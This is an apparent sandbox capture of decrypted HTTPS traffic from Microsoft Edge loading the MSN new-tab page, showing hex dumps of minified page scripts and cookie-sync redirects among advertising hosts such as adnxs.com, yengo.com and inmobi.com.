2025-01-11 06:54:34 UTC	4096	IN	Data Raw: 73 74 72 75 63 74 6f 72 28 65 3d 32 30 29 7b 74 68 69 73 2e 6d 61 78 4c 65 6e 67 74 68 3d 65 2c 74 68 69 73 2e 6c 69 73 74 3d 5b 5d 7d 70 75 73 68 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 2e 70 75 73 68 28 65 29 2c 74 68 69 73 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 3e 74 68 69 73 2e 6d 61 78 4c 65 6e 67 74 68 26 26 74 68 69 73 2e 6c 69 73 74 2e 73 68 69 66 74 28 29 7d 67 65 74 20 64 61 74 61 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6c 69 73 74 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6e 2c 6f 3d 42 2e 41 6c 65 72 74 2c 69 2c 72 2c 63 29 7b 74 72 79 7b 63 6f 6e 73 74 20 6c 3d 73 28 29 2c 75 3d 61 28 29 2c 70 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 29 7b 63 6f 6e 73 74 7b 70 63 73 49 6e 66 6f 3a 74 2c 70 61 67 65 47 65 6e 54 69 6d 65 Data Ascii: structor(e=20){this.maxLength=e,this.list=[]}push(e){this.list.push(e),this.list.length>this.maxLength&&this.list.shift()}get data(){return this.list}};function H(e,t,n,o=B.Alert,i,r,c){try{const l=s(),u=a(),p=function(e){if(e){const{pcsInfo:t,pageGenTime
2025-01-11 06:54:34 UTC	4096	IN	Data Raw: 4a 28 65 29 7b 6c 65 74 20 74 3d 65 3b 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 22 77 69 6e 64 6f 77 73 73 68 65 6c 6c 68 70 22 3a 74 3d 22 64 68 70 22 3b 62 72 65 61 6b 3b 63 61 73 65 22 76 69 64 65 6f 22 3a 74 3d 22 77 61 74 63 68 22 3b 62 72 65 61 6b 3b 63 61 73 65 22 45 64 67 65 4d 6f 62 69 6c 65 22 3a 74 3d 49 28 29 3f 22 6e 74 70 22 3a 22 64 68 70 22 7d 72 65 74 75 72 6e 20 74 7d 6c 65 74 20 56 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 76 61 72 20 65 2c 74 3b 69 66 28 21 64 28 29 29 72 65 74 75 72 6e 20 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6e 75 6c 6c 3d 3d 3d 28 65 3d 77 69 6e 64 6f 77 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3b 56 7c 7c 28 56 3d 6e Data Ascii: J(e){let t=e;switch(e){case"windowsshellhp":t="dhp";break;case"video":t="watch";break;case"EdgeMobile":t=I()?"ntp":"dhp"}return t}let V;function G(){var e,t;if(!d())return new URLSearchParams(null===(e=window)\|\|void 0===e?void 0:e.location.search);V\|\|(V=n
2025-01-11 06:54:34 UTC	4096	IN	Data Raw: 22 63 6f 6e 66 69 67 22 2c 65 2e 54 61 72 67 65 74 65 64 3d 22 74 61 72 67 65 74 65 64 22 2c 65 2e 53 74 69 63 6b 79 3d 22 73 74 69 63 6b 79 22 2c 65 2e 4e 6f 53 74 69 63 6b 79 3d 22 6e 6f 5f 73 74 69 63 6b 79 22 2c 65 2e 41 64 6d 69 6e 3d 22 61 64 6d 69 6e 22 2c 65 2e 46 6f 72 63 65 64 3d 22 66 6f 72 63 65 64 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 7d 28 43 65 7c 7c 28 43 65 3d 7b 7d 29 29 3b 6e 65 77 20 53 65 74 28 5b 22 77 69 6e 70 30 64 61 73 68 22 2c 22 77 69 6e 70 31 74 61 73 6b 62 61 72 22 2c 22 77 69 6e 70 31 74 61 73 6b 62 61 72 65 6e 74 22 2c 22 77 69 6e 70 31 74 61 73 6b 62 61 72 64 69 72 65 63 74 22 2c 22 77 69 6e 70 31 74 61 73 6b 62 61 72 64 69 72 65 63 74 65 6e 74 22 2c 22 77 69 6e 70 31 74 61 73 6b 62 61 72 65 6e 74 22 2c Data Ascii: "config",e.Targeted="targeted",e.Sticky="sticky",e.NoSticky="no_sticky",e.Admin="admin",e.Forced="forced",e.Manual="manual"}(Ce\|\|(Ce={}));new Set(["winp0dash","winp1taskbar","winp1taskbarent","winp1taskbardirect","winp1taskbardirectent","winp1taskbarent",
2025-01-11 06:54:34 UTC	4096	IN	Data Raw: 60 24 7b 7a 65 7d 3d 31 60 29 7d 29 29 3b 63 6f 6e 73 74 20 74 74 3d 75 28 28 28 29 3d 3e 7b 63 6f 6e 73 74 20 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 7d 28 29 3b 72 65 74 75 72 6e 20 65 26 26 21 21 65 2e 67 65 74 49 74 65 6d 28 58 65 29 7d 29 29 3b 63 6f 6e 73 74 20 6e 74 3d 75 28 28 28 29 3d 3e 7b 63 6f 6e 73 74 20 65 3d 6a 65 28 29 3b 72 65 74 75 72 6e 20 65 26 26 22 31 22 3d 3d 3d 65 2e 67 65 74 49 74 65 6d 28 51 65 29 7d 29 29 3b 63 6f 6e 73 74 20 6f 74 3d 75 28 28 28 29 3d 3e 7b 63 6f 6e 73 74 20 65 3d 6a 65 28 29 2c 74 3d 21 47 65 28 22 70 72 67 2d 6e 6f 72 65 64 69 72 65 63 74 22 29 26 26 65 26 26 22 31 22 3d Data Ascii: `${ze}=1`)}));const tt=u((()=>{const e=function(){try{return sessionStorage}catch(e){return null}}();return e&&!!e.getItem(Xe)}));const nt=u((()=>{const e=je();return e&&"1"===e.getItem(Qe)}));const ot=u((()=>{const e=je(),t=!Ge("prg-noredirect")&&e&&"1"=
2025-01-11 06:54:34 UTC	4096	IN	Data Raw: 6d 53 65 72 76 69 63 65 57 6f 72 6b 65 72 28 29 2b 74 68 69 73 2e 71 73 53 65 6c 65 63 74 65 64 50 69 76 6f 74 28 29 2b 74 68 69 73 2e 71 73 58 62 6f 78 58 54 6f 6b 65 6e 28 29 7d 71 73 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 65 3f 74 2b 22 3d 22 2b 28 6e 7c 7c 65 29 2b 22 26 22 3a 22 22 7d 71 73 46 72 6f 6d 44 6f 63 75 6d 65 6e 74 28 29 7b 76 61 72 20 65 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 71 73 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 74 6d 6c 22 29 5b 30 5d 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6c 61 6e 67 22 29 2c 22 6c 61 6e 67 22 29 2b 74 68 69 73 2e 71 73 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 Data Ascii: mServiceWorker()+this.qsSelectedPivot()+this.qsXboxXToken()}qs(e,t,n){return e?t+"="+(n\|\|e)+"&":""}qsFromDocument(){var e;return this.qs(document.getElementsByTagName("html")[0].getAttribute("lang"),"lang")+this.qs(encodeURIComponent(window.location.href)

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.11.20	61964	68.67.160.186	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:34 UTC	692	OUT	GET /bounce?%2Fgetuid%3Fhttps%3A%2F%2Fc.bing.com%2Fc.gif%3Fanx_uid%3D%24UID%26Red3%3DMSAN_pd%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:34 UTC	1031	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Sat, 11 Jan 2025 06:54:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://c.bing.com/c.gif?anx_uid=0&Red3=MSAN_pd&gdpr=0&gdpr_consent= AN-X-Request-Uuid: 34833376-3107-4218-9ebf-db08aca536c1 Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 30-Dec-2034 06:54:34 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 675.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.11.20	59486	172.241.51.69	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:34 UTC	647	OUT	GET /sync?ssp=msn&id=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1 Host: code.yengo.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:35 UTC	255	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 06:54:35 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close Strict-Transport-Security: max-age=15768000; includeSubdomains; preload X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.11.20	59675	68.67.160.186	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:34 UTC	934	OUT	GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D0136911D054E6BFC0E90846C04216AB7%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D0136911D054E6BFC0E90846C04216AB7%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/1.1 Host: m.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:34 UTC	1534	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Sat, 11 Jan 2025 06:54:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://m.adnxs.com/seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D AN-X-Request-Uuid: 2cd1cbfc-f1ee-4663-8ffe-c1dc32eee23c Set-Cookie: XANDR_PANID=_rmEPyX2Y3SzfIi3Bag3Z-yhnpuyNRxQxEtot3W3en8s03JG7wnMorvH-TXz7jjzGTzDLLKeZik-idBQ28WTmvP6hFRoulWJq3H0gBpmqLM.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:34 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 30-Dec-2034 06:54:34 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=7124564331408972538; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:34 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 675.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.11.20	64609	20.33.55.12	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:34 UTC	684	OUT	GET /sync?redirect=%7BPubRedirectUrl%7D&gdpr_consent=&gdpr=0&us_privacy=&gdpr_pd=&source=5&google_push=&retry= HTTP/1.1 Host: sync.inmobi.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:35 UTC	218	IN	HTTP/1.1 200 OK vary: Origin,Access-Control-Request-Method,Access-Control-Request-Headers content-length: 0 date: Sat, 11 Jan 2025 06:54:34 GMT x-envoy-upstream-service-time: 0 server: envoy connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.11.20	53133	68.67.160.186	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:35 UTC	718	OUT	GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1 Host: m.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:35 UTC	1582	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Sat, 11 Jan 2025 06:54:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://m.adnxs.com/bounce?%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D0136911D054E6BFC0E90846C04216AB7%2526gdpr%253D0%2526gdpr_consent%253D AN-X-Request-Uuid: 3829c9ca-fadc-4c27-aa9c-a02eb1318eea Set-Cookie: XANDR_PANID=T8uZZWPDXOikVphV8n_Q9MKss9u_RJKTOm-cP2iRJ4pWjFHj9pGBEJiJhfudih86Qo9NCHjIpVAOOEFSe6CmsCfxRF_wMc9QyoyBBLXDpt0.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:35 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 30-Dec-2034 06:54:35 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=7245032462844237990; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:35 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 675.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.11.20	53517	68.67.160.186	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:35 UTC	861	OUT	GET /mapuid?member=280&user=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D0136911D054E6BFC0E90846C04216AB7%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1 Host: m.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:36 UTC	1681	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Sat, 11 Jan 2025 06:54:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://m.adnxs.com/bounce?%2Fmapuid%3Fmember%3D280%26user%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D0136911D054E6BFC0E90846C04216AB7%252526gdpr%25253D0%252526gdpr_consent%25253D AN-X-Request-Uuid: 694e6d34-cba3-4a18-8534-0ac132bc2e2a Set-Cookie: XANDR_PANID=xBrnywoo60hGm19WqY9ZzwGfYNmZlM1DbeAEefYhAye6km-Y2uNL0BEsRyrMQUtJhqaz4qGZqvkDQaQYL2c8bVkS7XI7djyXXHW6lxZU8Bc.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:36 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 30-Dec-2034 06:54:36 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=7475336897030517947; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:36 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 675.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.11.20	64527	68.67.160.186	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:35 UTC	760	OUT	GET /bounce?%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D0136911D054E6BFC0E90846C04216AB7%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1 Host: m.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:36 UTC	1249	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Sat, 11 Jan 2025 06:54:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ib.adnxs.com/setuid?entity=483&code=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= AN-X-Request-Uuid: b5769f16-42c8-4fd2-95a8-0ddbe3c9c39c Set-Cookie: anj=dTM7k!M4/8CxrEQF']wIg2E?`l7YT4!]tbP6j2F-XstGt!@Dt#$wHZc; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:36 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 30-Dec-2034 06:54:36 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 675.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.11.20	62842	68.67.160.186	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:36 UTC	931	OUT	GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D0136911D054E6BFC0E90846C04216AB7%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/1.1 Host: m.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:36 UTC	1532	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Sat, 11 Jan 2025 06:54:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://m.adnxs.com/seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D AN-X-Request-Uuid: bf28a82c-40ba-4d45-8a1a-264a76ae20d8 Set-Cookie: XANDR_PANID=JSEa4dd234kAPu1jVnTpaZvuOYEdKfbT9ZIXfn7REUXJOz-vZ4JbeiVZ2dbHhlR2RrVrLPyJ_8xy5PmbbcapklKn1Hdg1NFQ7Qn6Gi8bSUk.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:36 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 30-Dec-2034 06:54:36 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=11245404123288881; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:36 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 675.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.11.20	50350	68.67.160.186	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:36 UTC	652	OUT	GET /setuid?entity=483&code=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
